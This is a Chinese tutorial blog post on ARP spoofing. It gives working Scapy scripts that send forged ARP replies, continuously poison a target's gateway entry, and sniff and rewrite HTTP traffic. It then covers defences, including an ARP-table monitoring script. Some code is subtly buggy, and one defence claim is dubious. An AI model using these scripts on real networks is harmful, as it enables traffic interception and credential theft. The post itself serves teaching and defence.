首页 > 其他分享 >ARP欺骗技术:DNS欺骗与HTTP重定向_(1).ARP欺骗技术概述

ARP欺骗技术:DNS欺骗与HTTP重定向_(1).ARP欺骗技术概述

时间:2024-11-16 20:18:14浏览次数:3  
标签:ARP arp HTTP packet MAC IP地址 攻击者 欺骗

ARP欺骗技术概述

什么是ARP欺骗

ARP(Address Resolution Protocol)欺骗是一种网络攻击技术,通过发送虚假的ARP(地址解析协议)响应包,将攻击者的MAC地址映射到目标IP地址,从而使网络流量被重定向到攻击者的设备,进而实现中间人攻击(Man-in-the-Middle, MITM)。

在这里插入图片描述

ARP协议简介

ARP协议用于将IP地址解析为对应的物理地址(MAC地址)。在网络中,当一个设备需要与另一个设备通信时,它会发送一个ARP请求,询问目标IP地址对应的MAC地址。目标设备收到请求后,会回复一个ARP响应,包含其MAC地址。这种机制确保了网络设备能够正确地将数据包发送到目标设备。

ARP欺骗的基本原理

ARP欺骗的基本原理是通过发送伪造的ARP响应包,将攻击者的MAC地址与目标IP地址进行绑定。这样,当其他设备需要与目标设备通信时,它们会将数据包发送到攻击者的设备,而不是目标设备。攻击者可以通过这种方式拦截、修改或阻止网络流量。

ARP欺骗的实现方式

发送伪造的ARP响应包

伪造ARP响应包的步骤
  1. 监听网络流量:首先,攻击者需要监听网络中的ARP请求和响应,以获取目标IP地址和MAC地址。

  2. 构造伪造的ARP响应包:使用网络工具或编程语言构造ARP响应包,将攻击者的MAC地址与目标IP地址进行绑定。

  3. 发送伪造的ARP响应包:将构造好的伪造ARP响应包发送到网络中的其他设备,使其将目标IP地址与攻击者的MAC地址进行绑定。

代码示例:使用Scapy构造和发送伪造的ARP响应包

from scapy.all import ARP, send



# 目标IP地址和攻击者的MAC地址

target_ip = "192.168.1.10"

attacker_mac = "00:11:22:33:44:55"



# 虚假的源IP地址(网关的IP地址)

gateway_ip = "192.168.1.1"



# 构造ARP响应包

arp_response = ARP(

    op=2,  # ARP响应

    pdst=target_ip,  # 目标IP地址

    hwdst="ff:ff:ff:ff:ff:ff",  # 广播MAC地址

    psrc=gateway_ip,  # 源IP地址(网关的IP地址)

    hwsrc=attacker_mac  # 源MAC地址(攻击者的MAC地址)

)



# 发送ARP响应包

send(arp_response, verbose=0)



# 输出发送成功的提示

print(f"Sent ARP response to {target_ip} with {attacker_mac} as {gateway_ip}")

持续发送伪造的ARP响应包

为了确保ARP欺骗的成功,攻击者需要持续发送伪造的ARP响应包,以覆盖合法的ARP响应。这可以通过定时任务或循环来实现。

代码示例:持续发送伪造的ARP响应包

from scapy.all import ARP, send

import time



# 目标IP地址和攻击者的MAC地址

target_ip = "192.168.1.10"

attacker_mac = "00:11:22:33:44:55"



# 虚假的源IP地址(网关的IP地址)

gateway_ip = "192.168.1.1"



# 构造ARP响应包

arp_response = ARP(

    op=2,  # ARP响应

    pdst=target_ip,  # 目标IP地址

    hwdst="ff:ff:ff:ff:ff:ff",  # 广播MAC地址

    psrc=gateway_ip,  # 源IP地址(网关的IP地址)

    hwsrc=attacker_mac  # 源MAC地址(攻击者的MAC地址)

)



# 定义持续发送的函数

def arp_spoof():

    while True:

        # 发送ARP响应包

        send(arp_response, verbose=0)

        # 每秒发送一次

        time.sleep(1)



# 启动持续发送

arp_spoof()

ARP欺骗的效果

拦截网络流量

通过ARP欺骗,攻击者可以将目标设备的网络流量重定向到自己的设备上,从而实现对网络流量的拦截。攻击者可以查看、修改或阻止这些流量,进一步进行其他攻击。

中间人攻击

ARP欺骗是中间人攻击的一种典型手段。攻击者通过拦截目标设备和网关之间的通信,可以监听、篡改或阻止数据包,从而实现对网络通信的控制。

代码示例:监听和修改HTTP流量

from scapy.all import sniff, ARP, IP, TCP, Raw



# 定义回调函数,处理每个数据包

def packet_callback(packet):

    if packet[ARP].op == 2:  # ARP响应

        print(f"ARP Response: {packet[ARP].psrc} is at {packet[ARP].hwsrc}")

    elif packet.haslayer(IP) and packet.haslayer(TCP) and packet.haslayer(Raw):

        # 检查HTTP流量

        if packet[TCP].dport == 80 or packet[TCP].sport == 80:

            # 查看HTTP请求

            print(f"HTTP Request: {packet[IP].src} -> {packet[IP].dst}")

            # 修改HTTP请求内容

            packet[Raw].load = packet[Raw].load.replace(b"target_content", b"modified_content")

            # 重新计算校验和

            del packet[IP].len

            del packet[IP].chksum

            del packet[TCP].chksum

            # 发送修改后的数据包

            send(packet, verbose=0)



# 开始监听网络流量

sniff(filter="arp or tcp port 80", prn=packet_callback, store=0)

ARP欺骗的防御措施

静态ARP表

静态ARP表可以防止ARP欺骗,因为它不会自动更新。管理员可以手动将目标IP地址与合法的MAC地址绑定,从而防止攻击者通过伪造ARP响应包来修改绑定关系。

ARP表监控

通过监控ARP表的变化,可以及时发现并阻止ARP欺骗。网络管理员可以使用专门的工具或脚本来定期检查ARP表,确保没有异常的MAC地址绑定。

代码示例:监控ARP表变化

import os

import time

from scapy.all import ARP, srp



# 定义目标IP地址范围

target_ip_range = "192.168.1.1/24"



# 获取当前的ARP表

def get_arp_table():

    result = os.popen("arp -a").read()

    arp_table = {}

    for line in result.split("\n"):

        if "at" in line:

            ip, mac = line.split(" at ")

            ip = ip.strip()

            mac = mac.split(" ")[0].strip()

            arp_table[ip] = mac

    return arp_table



# 监控ARP表变化

def monitor_arp_table():

    last_arp_table = get_arp_table()

    while True:

        current_arp_table = get_arp_table()

        for ip, mac in current_arp_table.items():

            if ip in last_arp_table and last_arp_table[ip] != mac:

                print(f"ARP table change detected: {ip} is now at {mac}")

        last_arp_table = current_arp_table

        time.sleep(10)



# 启动监控

monitor_arp_table()

使用ARP安全协议

一些网络设备支持ARP安全协议,如ARP Security或Dynamic ARP Inspection(DAI),这些协议可以防止ARP欺骗。ARP Security通过加密ARP请求和响应来防止伪造,而DAI通过检查ARP响应的源MAC地址是否在DHCP服务器的绑定表中来防止伪造。

ARP欺骗的现实案例

实例1:内部网络攻击

在一个内部网络中,攻击者通过发送伪造的ARP响应包,将所有员工的流量重定向到自己的设备上。攻击者通过中间人攻击,拦截并记录员工的登录凭据,然后进行进一步的攻击。

实例2:公共Wi-Fi热点攻击

在公共Wi-Fi热点中,攻击者通过发送伪造的ARP响应包,将所有连接到热点的用户的流量重定向到自己的设备上。攻击者通过中间人攻击,拦截并篡改用户的敏感信息,如银行账户和密码。

结论

ARP欺骗是一种常见的网络攻击技术,通过发送伪造的ARP响应包,可以将网络流量重定向到攻击者的设备上,从而实现中间人攻击。了解ARP欺骗的原理和实现方式,可以帮助网络管理员更好地防御此类攻击。同时,通过静态ARP表、ARP表监控和使用ARP安全协议,可以有效减少ARP欺骗的风险。

参考资料

标签:ARP,arp,HTTP,packet,MAC,IP地址,攻击者,欺骗
From: https://blog.csdn.net/chenlz2007/article/details/143781394

相关文章

  • ARP欺骗技术:DNS欺骗与HTTP重定向_(2).ARP欺骗原理与机制
    ARP欺骗原理与机制1.ARP协议简介ARP(AddressResolutionProtocol)协议是用于将IP地址解析为物理地址(通常是MAC地址)的协议。在网络中,计算机之间进行通信时,需要知道对方的MAC地址来构建数据帧。ARP协议通过广播请求和单播响应的方式,实现了从IP地址到MAC地址的动态映射。ARP......
  • ARP欺骗技术:DNS欺骗与HTTP重定向_(3).ARP欺骗的攻击方法
    ARP欺骗的攻击方法在上一节中,我们讨论了ARP协议的基本工作原理以及如何利用Python库进行ARP请求和响应的发送。本节将深入探讨ARP欺骗的具体攻击方法,包括如何通过ARP欺骗进行中间人攻击(Man-in-the-Middle,MITM),并详细说明DNS欺骗与HTTP重定向的技术细节。1.ARP欺骗的基本......
  • ARP欺骗技术:DNS欺骗与HTTP重定向_(4).ARP欺骗的防御措施
    ARP欺骗的防御措施1.静态ARP表1.1原理静态ARP表是一种将特定IP地址与MAC地址绑定的方法,以防止动态ARP表被恶意修改。通过静态ARP表,网络管理员可以手动配置IP地址和MAC地址的对应关系,从而确保这些关系不会被ARP欺骗攻击所改变。1.2内容静态ARP表的设置通常在路由器......
  • CTF web解题 PHP http referer xff使用 burpsuite使用 新手入门 [SWPUCTF 2022 新生赛
    每日emo:burp可以抓包,你可以抓住到她的心吗?[SWPUCTF2022新生赛]xffFlag:NSSCTF{th1s_xff_1s_e4ay}打开靶机抓个包看一下根据打开靶机显示MustbeaccessedfromXiaohong'sowncomputer.传入X-Forwarded-For到127.0.0.1根据提示添加Referer到127.0.0.1......
  • [Codeforces Round 987 (Div. 2)](https://codeforces.com/contest/2031)解题报告
    CodeforcesRound987(Div.2)太好了是阳间场,我们有救了感觉脑子生锈了qwq,F题做不出来A分析知如果有\(i<j\)且\(a_i>a_j\)的情况出现则\(i\)和\(j\)一定至少改一个。所以答案即为\(n-cnt\),\(cnt\)为众数个数。B发现一个数离自己原本的位置距离不会超过\(1\),有......
  • HTTP协议介绍
    HTTP协议介绍一、HTTP-概述概念:HyperTextTransferProtocol,超文本传输协议,规定了浏览器和服务器之间数据传输规则。特点:1、基于TCP协议:面向连接,安全2、基于请求-响应模型的:一次请求对应一次响应3、HTTP协议是无状态的协议:对于事务处理没有记忆能力。每次请求-响应......
  • DHCP欺骗
    DHCP欺骗原理DHCP协议(DynamicHostConfigurationProtocol)动态主机配置协议:主要给客户机提供TCP/IP参数,包括:IP地址、子网掩码、网关、DNS、租期工作原理应用层协议,基于UDP主机向服务器67号端口发送DHCP请求服务器响应给客户机的68号端口配置设置DH......
  • https实验
    https实验原理httphttpshttps=http+SSL/TLS•SSL:SecureSocketLayer安全套接层•TLS:TransportLayerSecurity传输层安全协议加密方式:PKI(公钥基础设施)使用公钥技术和数字签名来保证信息安全由公钥密码算法、数字证书(Certificate)、CA(Certificate......
  • DNS欺骗
    DNS欺骗原理将域名和IP地址的相互映射关系存放在一个分布式的数据库中DNS欺骗原理攻击者冒充DNS服务器,为被攻击主机提供错误的IP地址基于ARP攻击本质上属于MITM(中间人攻击)网络层通过ARP欺骗实现身份伪造应用层通过软件/脚本发送伪造虚假DNS响应报文配......
  • http自动设置自动代理的问题
    1、在系统中,已经去掉了自动代理,但是在使用selenium的时候,无法启动webdriver.chrome()2、必须使用如下代码,清除环境变量通过打印os.environ看出'HTTP_PROXY':'http://127.0.0.1:8080', proxy_env_vars={'HTTP_PROXY','HTTPS_PROXY','http_proxy','http......